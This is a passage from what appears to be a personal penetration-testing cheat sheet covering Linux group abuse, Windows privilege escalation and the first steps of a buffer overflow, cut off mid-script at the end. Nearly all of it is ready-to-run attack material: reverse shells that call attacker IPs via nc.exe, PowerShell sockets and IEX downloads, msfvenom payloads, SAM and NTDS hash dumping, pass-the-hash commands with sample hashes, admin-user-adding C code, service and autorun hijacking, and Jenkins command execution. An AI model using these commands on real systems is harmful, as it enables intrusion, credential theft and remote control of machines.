    2. ATTACKER: snmpwalk -v2c -c 53cur3M0NiT0riNg 192.168.190.113 nsExtendOutput1

User groups

  • If your user is part of the group disk:
    1. df -h
    2. debugfs /dev/sd[a-z][1-9] example: sda1
    3. debugfs: cat /root/.ssh/id_rsa
  • group video: HackTricks | Video Group

fail2ban

Postfix

Windows Privilege Escalation

Checklist

See Information gathering | Windows. Always obtain:

  • Username and hostname
  • Group memberships of the current user
  • Existing users and groups
  • Operating system, version and architecture
  • Network information
  • Installed applications
  • Running processes

Resources

Tools

Strategy

Information gathering

<# gather information about current user #>
whoami
net user <user>
whoami /priv

<# gather user context information #>
id

<# discover other user accounts on the system #>
net user

<# discover localgroups and users in those groups#>
whoami /groups
net localgroup
net user <username>
PS C:\> Get-LocalGroupMember <group>

<# enumerate the Hostname #>
hostname

<# enumerate the Operating System Version and Architecture #>
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

<# enumerate running processes and services #>
PS C:\> Get-Process
tasklist /SVC

<# enumerate networking information #>
ipconfig /all
route print
netstat -ano

<# enumerate firewall status and rules #>
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all

<# enumerate scheduled tasks #>
schtasks /query /fo LIST /v

<# enumerate installed applications and patch levels #>
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
wmic product get name, version, vendor
wmic qfe get Caption, Description, HotFixID, InstalledOn

<# enumerate readable/writable files and directories #>
accesschk.exe -uws "Everyone" "C:\Program Files"
PS C:\> Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

<# enumerate unmounted disks #>
mountvol

<# enumerate device drivers and Kernel modules #>
PS C:\> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
PS C:\> Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

<# enumerating binaries that AutoElevate #>
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

<# find interesting files #>
Get-ChildItem -Path <PATH> -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path <PATH> -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path <PATH> -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.xml,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

<# see history of commands #>
Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\Public\Transcripts\transcript01.txt

<# find secrets #>
reg query HKLM /f password /t REG_SZ /s
Get-EventLog -LogName 'Windows PowerShell' -Newest 1000 | Select-Object -Property * | out-file c:\users\scripting\logs.txt

To use Event Viewer to search for events recorded by Script Block Logging:

  1. Open the Event Viewer:
    • Press Windows key + R to open the Run dialog box.
    • Type eventvwr.msc and press Enter.
  2. In the Event Viewer window, expand "Applications and Services Logs"
  3. Expand the "Microsoft-Windows-PowerShell/Operational" log
  4. Click on the "Filter Current Log" option on the right-hand side of the window
  5. In the Filter Current Log dialog box, enter "4104" as the Event ID
  6. Click on the "OK" button to apply the filter
  7. The Event Viewer will now display only the events related to Script Block Logging

Privileges

AlwaysInstallElevated

  • You can run any .msi

SeLoadDriverPrivilege

SetRestorePrivilege

  • ./SeRestoreAbuse.exe "C:\temp\nc.exe 192.168.45.238 445 -e powershell.exe"

SeManageVolumePrivilege

  1. .\SeManageVolumeAbuse.exe
  2. msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.215 LPORT=445 -f dll -o tzres.dll
  3. cp tzres.dll C:\Windows\System32\wbem\

SeImpersonatePrivilege

PrintSpoofer

  • .\PrintSpoofer.exe -i -c powershell.exe
  • .\PrintSpoofer.exe -i -c "\\192.168.45.156\Share\nc.exe 192.168.45.156 443 -e cmd.exe"

JuicyPotato

  • .\JuicyPotato.x86.exe -t * -p "\\10.10.14.10\Share\nc.exe 10.10.14.10 88 -e cmd.exe" -l 443
  • .\JuicyPotato.exe -t * -p C:\User\mario\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}

Other

  • .\GodPotato-NET4.exe -cmd "\\192.168.45.156\Share\nc.exe 192.168.45.156 443 -e cmd.exe"
    • Affected version: Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11
  • .\RogueWinRM.exe -p "\\10.10.14.26\Share\nc.exe" -a "-e cmd.exe 10.10.14.26 88"

SeBackupPrivilege

  1. https://github.com/giuliano108/SeBackupPrivilege 
    import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
  2. iwr -uri http://10.18.110.121/diskshadow.txt -o diskshadow.txt
    • If you have modified diskshadow.txt and it doesn't work, run: unix2dos diskshadow.txt
  3. diskshadow /s diskshadow.txt
  4. cd E:
  5. robocopy /b E:\Windows\ntds . ntds.dit
  6. reg save hklm\system c:\tmp\system
reg save hklm\sam c:\tmp\sam

  7. download ntds.dit
download system.bak
download sam
  8. samdump2 system sam
  9. impacket-secretsdump -ntds ntds.dit -system system LOCAL

SeRestorePrivelege

  1. list manual start service: 
    cmd.exe /c sc queryex state=all type=service
Get-Service | findstr -i "manual"
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "manual"} | select PathName,DisplayName,Name
  2. Check seclogon, known to have manual start permissions and that can be started by all users 
    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
cmd.exe /c sc sdshow seclogon
- RP = Start Service / AU = All Users
- winhelponline.com/blog/view-edit-service-permissions-windows/
  3. SeRestoreAbuse exploit 
    .\SeRestoreAbuse.exe "C:\temp\nc.exe 192.168.45.238 445 -e powershell.exe"

Privileged Groups

DnsAdmins

  • https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/
  • dnscmd.exe /config /serverlevelplugindll \\path\to\dll
    • as a dll, try to use 'dns-exe-persistance.dll'
      • you have to recompile it with your IP
      • you can also use msfvenom
        • msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll
  • Alternative
    1. cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.34\share\da.dll
    2. sc.exe stop dns
    3. sc.exe start dns

gMSA

  • If your user is part of a group in 'PrincipalsAllowedToRetrieveManagedPassword' .\GMSAPasswordReader.exe --accountname 'svc_apache'
  • Retrieve 'rc4_hmac' in Current Value evil-winrm -i 192.168.212.165 -u svc_apache$ -H 009E42B78BF6CEA5F5C067B32B99FCA6
  • See accounts for Group Managed Service Account (gMSA) with Powershell Get-ADServiceAccount -Filter * | where-object {$_.ObjectClass -eq "msDS-GroupManagedServiceAccount"}

AD Recycle Bin

  • It's a well-known Windows group. Check if your user is in this group
  • Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
  • Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
  • See if there is any strange entry, like cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz. There might be a password

Add new admin user

#include <stdlib.h>
int main () {
    int i;
    i = system ("net user /add [username] [password]");
    i = system ("net localgroup administrators [username] /add");
    return 0;
}
  • 32-bit Windows executable: i686-w64-mingw32-gcc adduser.c -o adduser.exe
  • 64-bit Windows executable: x86_64-w64-mingw32-gcc -o adduser.exe adduser.c
  • Note: 32-bit and 64-bit Windows: Frequently asked questions
  • verify that the user has been added with net user
  • run echo password | runas /savecred /user:rootevil cmd

Log in with another user from the same machine

$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/shell.ps1') } -Credential $cred -Computer localhost

Generate a reverse shell

  1. Generate the reverse shell on your attacker machine: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe
  2. Transfer it to the Windows machine with SMB: sudo python3 /opt/impacket/examples/smbserver.py kali . and then copy \\<IP>\kali\reverse.exe C:\PrivEsc\reverse.exe

Create a PowerShell remoting session via WinRM

  1. $password = ConvertTo-SecureString <password> -AsPlainText -Force
  2. $cred = New-Object System.Management.Automation.PSCredential("<password>", $password)
  3. Enter-PSSession -ComputerName <computer_name> -Credential $cred

Check also:

  • Windows Reverse Shells Cheatsheet
  • Evil-WinRM
    • evil-winrm -i <IP> -u <username> -p <password>
  • powershell_reverse_shell.ps1 
    # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Other shells with msfvenom

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=8444 EXITFUNC=thread -f exe -o shell.exe
  • msfvenom -p windows/×64/shell_reverse_tcp LHOST=<IP> LPORT=445 -f exe -e 64/xor -o shell.exe
  • msfvenom -f psh-cmd -p windows/shell_reverse_tc LHOST=tun0 LPORT=8443 -o rev.ps1
  • msfvenom -f ps1 -p windows/shell_reverse_tcp LHOST=tun0 LPORT=8443 -o rev.ps1
  • msfvenom -p windows/shell_reverse_tcp --list formats
  • msfvenom -p windows/shell_reverse_tcp --list-options

Kernel Exploits

  1. Save the output of the systeminfo command: systeminfo > systeminfo.txt
    • Try also the command: systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
  2. Use it with Windows Exploit Suggester to find potential exploits: python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
  3. See windows-kernel-exploits

Driver Exploits

  1. Enumerate the drivers that are installed on the system: driverquery /v
  2. Search in the Exploit Database

Service Exploits

Note: to find running services, use this command from the powershell: Get-Service or Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

PowerUp

  • Get-ServiceUnquoted -Verbose services with unquoted paths and a space in their name
  • Get-ModifiableServiceFile -Verbose services where the current user can write to its binary path or change arguments to the binary
  • Get-ModifiableService -Verbose services whose configuration current user can modify

Service Commands

sc.exe qc <name>                                 Query the configuration of a service
sc.exe query <name>                              Query the current status of a service
sc.exe config <name> <option>= <value>           Modify a configuration option of a service
net start/stop <name>                            Start/Stop a service

Insecure Service Permissions

  1. Use AccessChk to check the "user" account's permissions on the "daclsvc" service:
    • C:\PrivEsc\accesschk.exe /accepteula -uwcqv <user> <service>
  2. If SERVICE_CHANGE_CONFIG is present, it's possible to change the service configuration
  3. Query the service. If it runs with SYSTEM privileges, it's possible a privilege escalation
    • sc qc <service>
    • Example: SERVICE_START_NAME: LocalSystem
  4. Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse shell executable
    • sc config <service> binpath= "\"C:\PrivEsc\reverse.exe\""
  5. Set a listener and start the service net start <service>

Unquoted Service Path

  • wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
    • note: if in "PathName" you don't see quotation, there might be a Priv Esc
      1. Check which user is running it: sc qc SERVICE_NAME
      2. check it with a command similar to the following to see if you have write priv: powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
  • If you have found an Unquoted Service Path:
    • Get-Acl -Path "C:\Program Files (x86)\service" | Format-List
      • see if you have write privileges (with icacls)
    • "service" | Get-ServiceACL | select -ExpandProperty Access
      • see if you can stop and start (restart) the service
    • msfvenom -p windows/shell_reverse_tcp LHOST=10.18.110.121 LPORT=445 -f exe -o shell.exe
    • copy the shell.exe, then:
      1. sc start "service"
      2. Stop-Service -name "service"
      3. Start-Service -name "service"

Another way

  1. Check: "Microsoft Windows Unquoted Service Path Vulnerability"
  2. Query a service. If it runs with SYSTEM privileges (check SERVICE_START_NAME) and the BINARY_PATH_NAME value is unquoted and contains spaces, it's possible a privilege escalation
    • sc qc <service>
    • Example: BINARY_PATH_NAME: C:\Program Files\Unquoted Path Service\Common Results\unquotedpathservice.exe
    • You can also use the Powershell command wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
  3. Use AccessChk to check write permissions in this directory C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
    • You can review the permissions with icacls "C:\" and icacls "C:\Program Files\Enterprise Apps"
    • Check if you can run and stop the service with Start-Service GammaService and Stop-Service
  4. Copy the reverse shell copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
  5. Start a listener on the attacker machine and run the service

Weak Registry Permissions

  1. Query a service. Check if it runs with SYSTEM privileges (check SERVICE_START_NAME)
    • sc qc <service>
  2. Use AccessChk to check the write permissions of the registry entry for the service
    • note: NT AUTHORITY\INTERACTIVE group means all logged-on users
    • C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<service>
  3. Overwrite the ImagePath registry key to point to the reverse shell executable: reg add HKLM\SYSTEM\CurrentControlSet\services\<service> /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  4. Start a listener on the attacker machine and run the service

DLL Hijacking

CVEs

  • Check if CVE-2018-8120 works
  • See programs in Program Files and (x86) and search for CVEs
  • systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
  • Note: Hotfix means patches, if you see N/A means that nothing has been patches
  • See if you can connect as RDP to more easily find other vulnerable installed applications

Run

  • python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
  • python windows-exploit-suggester.py --database 2023-09-12-mssb.xls --systeminfo systeminfo.txt
  • if you can't use systeminfo, try wmic qfe list full and save it as systeminfo.txt
  • searchsploit Windows Server 2012 Privilege

Windows Server 2008

CVE-2018-8440

  • If you see Hotfix N/A + write priv in C:\Windows\tasks
    • run to see if you have write priv: icacls C:\Windows\Tasks
  • Try to run /home/kali/Documents/windows-attack/CVE/CVE-2018-8440/Release/poc.exe

See the version of an exe

  • Get-ItemProperty -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\miiserver.exe" | Format-list -Property * -Force

Compile exploits

  • cl 42020.cpp /EHsc /DUNICODE /D_UNICODE
  • gcc -o output.c input.c
  • gcc -m32 -o output.c input.c
  • g++ your_program.cpp -o your_program
  • i686-w64-gcc adduser.c -o adduser.exe
  • x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
  • i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
  • mcs Wrapper.cs

User Account Control (UAC)

Example:

  • Even if we are logged in as an administrative user, we must move to a high integrity level in order to change the admin user's password.
  • To do it, run the following commands 
    <# spawn a cmd.exe process with high integrity #>
powershell.exe Start-Process cmd.exe -Verb runAs

<# successfully changing the password of the admin user after spawning cmd.exe with high integrity #>
whoami /groups
net user admin Ev!lpass

UAC Bypass with fodhelper.exe, a Microsoft support application responsible for managing language changes in the operating system. Runs as high integrity on Windows 10 1709

Insecure File Permissions

Also called "Service Binary Hijacking". Exploit insecure file permissions on services that run as nt authority\system

  1. List running services on Windows using PowerShell Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
  2. Enumerate the permissions on the target service icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
  3. Substitute ServiioService.exe with the following 
    #include <stdlib.h>
int main () {
  int i;
  i = system ("net user [username] [password] /add");
  i = system ("net localgroup administrators [username] /add");
  return 0;
}
    • i686-w64-gcc adduser.c -o adduser.exe or x86_64-w64-mingw32-gcc adduser.c -o adduser.exe to Cross-Compile the C Code to a 64-bit application
    • move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe"
    • move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"
    • dir "C:\Program Files\Serviio\bin\"
  4. Restart the service, here's two options
    • net stop Serviio
    • Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'Serviio'} Obtain Startup Type for Serviio service
    • Check Startmode of the service with wmic service where caption="Serviio" get name, caption, state, startmode
    • If it's Auto, it means that it will restart after a reboot. Reboot with shutdown /r /t 0 .
  5. Check if it worked with net localgroup Administrators

PowerUp.ps1

  1. Check PowerUp.ps1 and make it available with python3 -m http.server 80
  2. Download it from the victim machine iwr -uri http://<IP>/PowerUp.ps1 -Outfile PowerUp.ps1
  3. Run the commands powershell -ep bypass and . .\PowerUp.ps1
  4. Then run Get-ModifiableServiceFile to display services the current user can modify
  5. Run Install-ServiceBinary -Name 'mysql'. If it throws an error even if you already know that the current user has full access permissions on the service binary, proceed with manual exploitation

Registry

AutoRuns

  1. Query the registry for AutoRun executables: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  2. Use AccessChk to check write permissions of the executables C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\<program>.exe"
  3. Overwrite the reverse shell executables in the <program> path: copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
  4. Start a listener on the attacker machine. A new session on the victim machine will trigger a reverse shell running with admin privileges

AlwaysInstallElevated

  1. Query the registry for AlwaysInstallElevated keys: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    • Note if both keys are set to 1 (0x1)
  2. Generate a reverse shell installer .msi with msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o reverse.msi
  3. Transfer the installer .msi to the Windows machine
  4. Start a listener on the attacker machine and then run the installer to trigger a reverse shell running with SYSTEM privileges: msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords

Registry

  1. Search for keys and values that contain the word "password"
    • reg query HKLM /f password /t REG_SZ /s
    • reg query HKCU /f password /t REG_SZ /s
  2. If you have found an admin and its password, use winexe command from the attacker machine to spawn a command prompt running with the admin privileges winexe -U 'admin%password' //<IP> cmd.exe

Saved Credentials

  1. Check for any saved credentials cmdkey /list
  2. Start a listener on the attacker machine and run the reverse shell executable using runas with the admin user's saved credentials: runas /savecred /user:admin C:\PrivEsc\reverse.exe or runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Search for Configuration Files

  1. Run the commands: dir /s *pass* == *.config and findstr /si password *.xml *.ini *.txt
  2. Use winPEAS to search for common files which may contain credentials: .\winPEASany.exe quiet cmd searchfast filesinfo
    • also run .\winPEASx64.exe windowscreds filesinfo fileanalysis searchpf log=winpeas_out.txt

Security Account Manager (SAM)

  1. The SAM and SYSTEM files can be used to extract user password hashes. Check also backups of these files
    • copy C:\Windows\Repair\SAM \\<IP>\kali\
    • copy C:\Windows\Repair\SYSTEM \\<IP>\kali\
  2. Dump the hashes with "creddump7": python3 creddump7/pwdump.py SYSTEM SAM
  3. Crack the hashes with hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

Passing The Hash

  1. Use the hashes to authenticate: pth-winexe -U 'admin%hash' //<IP Victim> cmd.exe

Scheduled Tasks

  1. List all scheduled tasks your user can see:
    • schtasks /query /fo LIST /v
    • In PowerShell: Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
  2. Search in Task Manager for any scheduled task
    1. See if you find any .ps1 script.
      • If the script found run as SYSTEM, check the write permissions of it with C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\<script>.ps1
      • Add to it a line to run the reverse shell echo C:\PrivEsc\reverse.exe >> C:\<script>.ps1
    2. For the .exe, review the permissions with icals C:\Users\Documents\service.exe

Insecure GUI Apps

  1. Open an app. Look at the privilege level it runs with tasklist /V | findstr mspaint.exe
  2. If the app runs with admin privileges and gives the possibility to open a file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe

Startup Apps

  1. Note if BUILTIN\Users group can write files to the StartUp directory: C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
  2. Using cscript, run the following script to create a new shortcut of the reverse shell executable in the StartUp directory: 
    • Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

Installed Applications

  1. Manually enumerate all running programs: tasklist /v
    • With seatbelt: .\seatbelt.exe NonstandardProcesses
    • With winPEAS: .\winPEASany.exe quiet procesinfo
  2. Search for the applications' versions
    • Try running the executable with /? or -h, as well as checking config or text files in the Program Files directory
  3. Use Exploit-DB to search for a corresponding exploit

Hot Potato

Note: This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.

  1. See Hot Potato, get the exploit here
  2. Start a listener on the attacker machine
  3. Run the exploit: .\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
  4. Wait for a Windows Defender update (or trigger one manually)

Token Impersonation

RoguePotato

  1. See Rogue Potato
  2. Set up a socat redirector on the attacker machine, forwarding its port 135 to port 9999 on Windows sudo socat tcp-listen:135,reuseaddr,fork tcp:<Windows IP>:9999
  3. Execute the PoC: .\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
  4. Check Juicy Potato, it's an improved version

More Potatoes

PrintSpoofer

  • Usage 1
    1. Copy PSExec64.exe and the PrintSpoofer.exe exploit executable over the Windows machine
    2. Using an administrator command prompt, use PSExec64.exe to trigger a reverse shell running as the Local Service service account: C:\PrivEsc\PSExec64.exe /accepteula -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
    3. Run the PrintSpoofer exploit to trigger a reverse shell running with SYSTEM privileges: C:\PrivEsc\PrintSpoofer.exe –i -c "C:\PrivEsc\reverse.exe"
  • Usage 2
    1. Copy the PrintSpoofer.exe exploit executable over the Windows machine
    2. .\PrintSpoofer64.exe -i -c powershell.exe

metasploit

  • msfconsole, meterpreter > load incognito
    • list_tokens -u
    • impersonate_token domain\\username
    • rev2self <# to reverte to initial user, usefull when the initial user is the admin #>

getsystem

  • Access Tokens: When a user first logs in, this object is created and linked to their active session. A copy of the user's principal access token is added to the new process when they launch it.
  • Impersonation Access Token: When a process or thread momentarily needs to run with another user's security context, this object is created.
  • Token Duplication: Windows permits processes and threads to use multiple access tokens. This allows for the duplication of an impersonation access token into a main access token. If we have the ability to inject into a process, we can leverage this feature to copy the process's access token and launch a new process with the same rights.
  • Documentation: Meterpreter getsystem | Metasploit Documentation

Pass The Hash

  • You can pass NTLM hashes, not NTLMv2
  • pth-winexe -U jeeves/Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd
  • crackmapexec smb 10.0.3.0/24 -u fcastle -H eb7126ae2c91ed5637hdn3hegve38928398 --local-auth
  • crackmapexec winrm 192.168.174.175 -u usernames.txt -H hashes.txt --local-auth
  • evil-winrm -i 192.168.174.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808
  • impacket-psexec -hashes 00000000000000000000000000000000:<NTLM> <USERNAME>:@<IP>
  • impacket-wmiexec -hashes 'aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff' -dc-ip 10.10.10.175 [email protected]
  • with sam hashes, remember to use the correct pair
  • https://labs.withsecure.com/publications/pth-attacks-against-ntlm-authenticated-web-applications

Pass The Password

  • crackmapexec smb 10.0.3.0/24 -u fcastle -d DOMAIN -p Password1
  • crackmapexec smb 192.168.220.240 -u 'guest' -p ''
  • crackmapexec smb 192.168.220.240 -u '' -p '' --shares
  • crackmapexec smb 192.168.220.240 -u '' -p '' --sam
  • crackmapexec smb 192.168.220.240 -u '' -p '' --lsa
  • crackmapexec smb 192.168.220.240 -u '' -p '' --ntds

Apache lateral movement

  • If you have logged in with an user, and you see the apache user, you might try to move laterally and from that user try to escalate
  • check if you have write access to 'C:\xampp\htdocs' with echo testwrite > testdoc.txt
  • if you have write privileges, download a cmd.php shell and check who the user is. If it's apache, do a reverse shell

Read data stream

maybe you are in a directory where there is something strange

  1. use dir /r you might find files like the following 
    hm.txt
hm.txt:root.txt:$DATA
  2. Use the following command powershell Get-Content -Path "hm.txt" -Stream "root.txt"
  • See Hack The Box - Jeeves

PrintNightmare

Bypass CLM / CLM breakout | CLM / AppLocker Break Out

From Local Admin to System

  • If you are part of the group "Administrators", try: .\PsExec.exe -i -s -d -accepteula cmd

TeamViewer

Exploiting service through Symbolic Links

A symbolic link is a file object that points to another file object. The object being pointed to is called the target.

  • create a Mount Point: ./CreateSymlink.exe "C:\xampp\htdocs\logs\request.log" "C:\Users\Administrator\.ssh\id_rsa"
    • In this way, a script that copies request.log will copy id_rsa instead
    • see proving-grounds/Symbolic

Write privileges

Services running - Autorun

  • Usa tasklist: tasklist /svc
  • netstat -ano
  • See non-default services running
    • wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
    • note: if in "PathName" you don't see quotation, there might be a Priv Esc
  • See if there are any autorun applications outside the normal paths (like C:\app)
    • wmic service get name,displayname,pathname,startmode |findstr /i "auto"
    • See CVEs for privilege escalation
    • If there is an insecure folder permission, you could delete the exe that starts and replace it.
      • Check it with: sc qc SERVICENAME
    • once done, run shutdown /r
  • To see the values corresponding to a PID: tasklist /svc /FI "PID eq 9833"
  • Other ways to see running services: Get-Service, wmic.exe, service get name, sc.exe query state= all, net.exe stat, Get-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\SERVICE

CEF Debugging Background

Feature Abuse

Note: In the Windows environment, numerous enterprise applications often require either administrative privileges or SYSTEM privileges, presenting significant opportunities for privilege escalation.

Jenkins

You can run system commands. There are many ways to do it:

  • With plugins installed (from CRTP)
    • With admin access, go to http://<jenkins_server>/script and run the following: 
      def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '
[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
  • If you don't have admin access but could add or edit build steps in the build configuration. Add a build step, add "Execute Windows Batch Command" and enter: powershell -c <command>, or powershell iex (iwr -UseBasicParsing http://<IP>/Invoke-PowerShellTcp.ps1);Power -Reverse -IPAddress <IP> -Port <PORT>
    • Disable the firewall or add an exception
  • Use a listener like Netcat nc64.exe -lvp 443

Buffer Overflow

Tools

Issues

Steps to conduct a Buffer Overflow

  1. Spiking
  2. Fuzzing
  3. Finding the Offset
  4. Overwriting the EIP
  5. Finding bad characters
  6. Finding the right module
  7. Generating Shellcode

Spiking

generic_send_tcp <IP Vulnserver> <port vulnserver> script.spk 0 0

Example: trun.spk

s_readline();
s_string("TRUN ");
s_string_variable("0");

Fuzzing

#!/usr/bin/python3
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('<IP Vulnserver>', <port vulnserver>))
        s.send(('TRUN /.:/' + buffer).encode())
        s.close()
        sleep(1)
        buffer += "A" * 100
    except:
        print ("Fuzzing crashed at %s bytes" % str(len(buffer)))
        sys.exit()

Finding the Offset

  1. Get the result from: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <bytes_where_server_crashed>
  2. Modify the previous script in 
    #!/usr/bin/python3
import sys, socket
from time import sleep

offset = "RESULT_FROM_STEP_1"

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('<IP Vulnserver>', <port vulnserver>))
        s.send(('TRUN /.:/' + offset).encode())
        s.close()
    except:
        print ("Error connecting to the server")
        sys.exit()
  3. After running the script, read the value from the EIP
  4. With that value, run this script: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q EIP_VALUE_STEP_2

Overwriting the EIP

From the previous result, we should get the position 2003 for the start of the EIP. We can test this by sending A * 2003 plus B * 4 and see if EIP = 42424242 (since 42424242 = BBBB).

#!/usr/bin/python3
import sys, socket
from time import sleep

shellcode = "A" * 2003 + "B" * 4

while True:
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(('<IP Vulnserver>', <port vulnserver>))
		s.send(('TRUN /.:/' + shellcode).encode())
		s.close()
	except:
		print ("Error connecting to the server")
		sys.exit()

Finding bad characters

You can generate a string of bad chars with the following python script

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

The following python script is used to find bad chars

#!/usr/bin/python3
import sys, socket
from time import sleep

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
